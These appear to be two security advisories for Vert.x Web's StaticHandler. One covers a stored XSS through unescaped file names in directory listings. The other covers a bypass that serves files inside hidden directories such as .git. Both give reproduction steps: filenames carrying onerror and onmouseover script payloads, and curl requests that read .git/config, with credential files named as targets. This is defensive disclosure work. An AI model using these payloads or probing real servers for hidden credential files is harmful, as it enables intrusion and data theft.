Details

Description

• In the StaticHandlerImpl#sendDirectoryListing(...) method under the text/html branch, file and directory names are directly embedded into the href, title, and link text without proper HTML escaping.
• As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.
• Affected Code:
  • File: vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java
  • Lines:
    • 709–713: normalizedDir is constructed without escaping
    • 714–731: <li><a ...> elements insert file names directly into attributes and body without escaping
    • 744: parent directory name construction
    • 746–751: {directory}, {parent}, and {files} are inserted into the HTML template without escaping

Reproduction Steps

1. Prerequisites:

   • Directory listing is enabled using StaticHandler
     (e.g., StaticHandler.create("public").setDirectoryListing(true))
   • The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)

2. Create a malicious file name (example for Unix-based OS):

   • Create an empty file in public/ with one of the following names:
     • <img src=x onerror=alert('XSS')>.txt
     • Or attribute injection: evil" onmouseover="alert('XSS')".txt
   • Example:

     mkdir -p public
     printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt"

3. Start the server (example):

   • Routing: router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true));
   • Server: vertx.createHttpServer().requestHandler(router).listen(8890);

4. Verification request (raw HTTP):

   GET /public/ HTTP/1.1
   Host: 127.0.0.1:8890
   Accept: text/html
   Connection: close
   

5. Example response excerpt:

   <ul id="files">
     <li>
       <a href="/public/<img src=x onerror=alert('XSS')>.txt"
          title="<img src=x onerror=alert('XSS')>.txt">
          <img src=x onerror=alert('XSS')>.txt
       </a>
     </li>
     ...
   </ul>

• When accessing /public/ in a browser, the unescaped file name is interpreted as HTML, and event handlers such as onerror are executed.

Potential Impact

• Stored XSS

  • Arbitrary JavaScript executes in the browser context of users viewing the listing page
  • Possible consequences:
    • Theft of session tokens, JWTs, localStorage contents, or CSRF tokens
    • Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)
    • Watering hole attacks, including malware distribution or malicious script injection to other pages

• Common Conditions That Make Exploitation Easier

  • Uploaded files are served directly under a publicly accessible directory
  • Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed
  • ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments

Similar CVEs Previously Reported

• CVE‑2024‑32966
• CVE‑2019‑15603

Severity

• CVSS Score: Unknown
• Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/vert-x3/vertx-web/security/advisories/GHSA-45p5-v273-3qqr
• https://nvd.nist.gov/vuln/detail/CVE-2025-11966
• https://github.com/vert-x3/vertx-web
• https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/303

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Description

There is a flaw in the hidden file protection feature of Vert.x Web’s StaticHandler when setIncludeHidden(false) is configured.

In the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (.) are treated as “hidden” and are blocked from being served. However, this logic fails in the following cases:

• Files under hidden directories: For example, /.secret/config.txt — although .secret is a hidden directory, the file config.txt itself does not start with a dot, so it gets served.
• Real-world impact: Sensitive files placed in hidden directories like .git, .env, .aws may become publicly accessible.

As a result, the behavior does not meet the expectations set by the includeHidden=false configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.

Steps to Reproduce

1. Prepare test environment

##### Create directory structure
mkdir -p src/test/resources/webroot/.secret
mkdir -p src/test/resources/webroot/.git

##### Place test files
echo "This is a visible file" > src/test/resources/webroot/visible.txt
echo "This is a hidden file" > src/test/resources/webroot/.hidden.txt
echo "SECRET DATA: API_KEY=abc123" > src/test/resources/webroot/.secret/config.txt
echo "Git config data" > src/test/resources/webroot/.git/config

2. Implement test server

import io.vertx.core.AbstractVerticle;
import io.vertx.core.Vertx;
import io.vertx.ext.web.Router;
import io.vertx.ext.web.handler.StaticHandler;

public class StaticHandlerTestServer extends AbstractVerticle {
  @​Override
  public void start() {
    Router router = Router.router(vertx);

    // Configure to not serve hidden files
    StaticHandler staticHandler = StaticHandler.create("src/test/resources/webroot")
      .setIncludeHidden(false)
      .setDirectoryListing(false);

    router.route("/*").handler(staticHandler);

    vertx.createHttpServer()
      .requestHandler(router)
      .listen(8082);
  }

  public static void main(String[] args) {
    Vertx vertx = Vertx.vertx();
    vertx.deployVerticle(new StaticHandlerTestServer());
  }
}

3. Confirm the vulnerability

##### Normal file (accessible)
curl http://localhost:8082/visible.txt

##### Result: 200 OK

##### Hidden file (correctly blocked)
curl http://localhost:8082/.git

##### Result: 404 Not Found

##### File under hidden directory (vulnerable)
curl http://localhost:8082/.git/config

##### Result: 200 OK - Returns contents of Git config

Potential Impact

1. Information Disclosure

Examples of sensitive files that could be exposed:

• .git/config: Git repository settings (e.g., remote URL, credentials)
• .env/*: Environment variables (API keys, DB credentials)
• .aws/credentials: AWS access keys
• .ssh/known_hosts: SSH host trust info
• .docker/config.json: Docker registry credentials

2. Attack Scenarios

• Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data.
• Especially dangerous for .git/HEAD, .git/config, .git/objects/* — which may allow full reconstruction of source code.

3. Affected Scope

• Affected version: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well)
• Environments: All OSes (Windows, Linux, macOS)
• Configurations: All applications using StaticHandler.setIncludeHidden(false)

Severity

• CVSS Score: Unknown
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vert-x3/vertx-web/security/advisories/GHSA-h5fg-jpgr-rv9c
• https://nvd.nist.gov/vuln/detail/CVE-2025-11965
• https://github.com/vert-x3/vertx-web
• https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/304

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).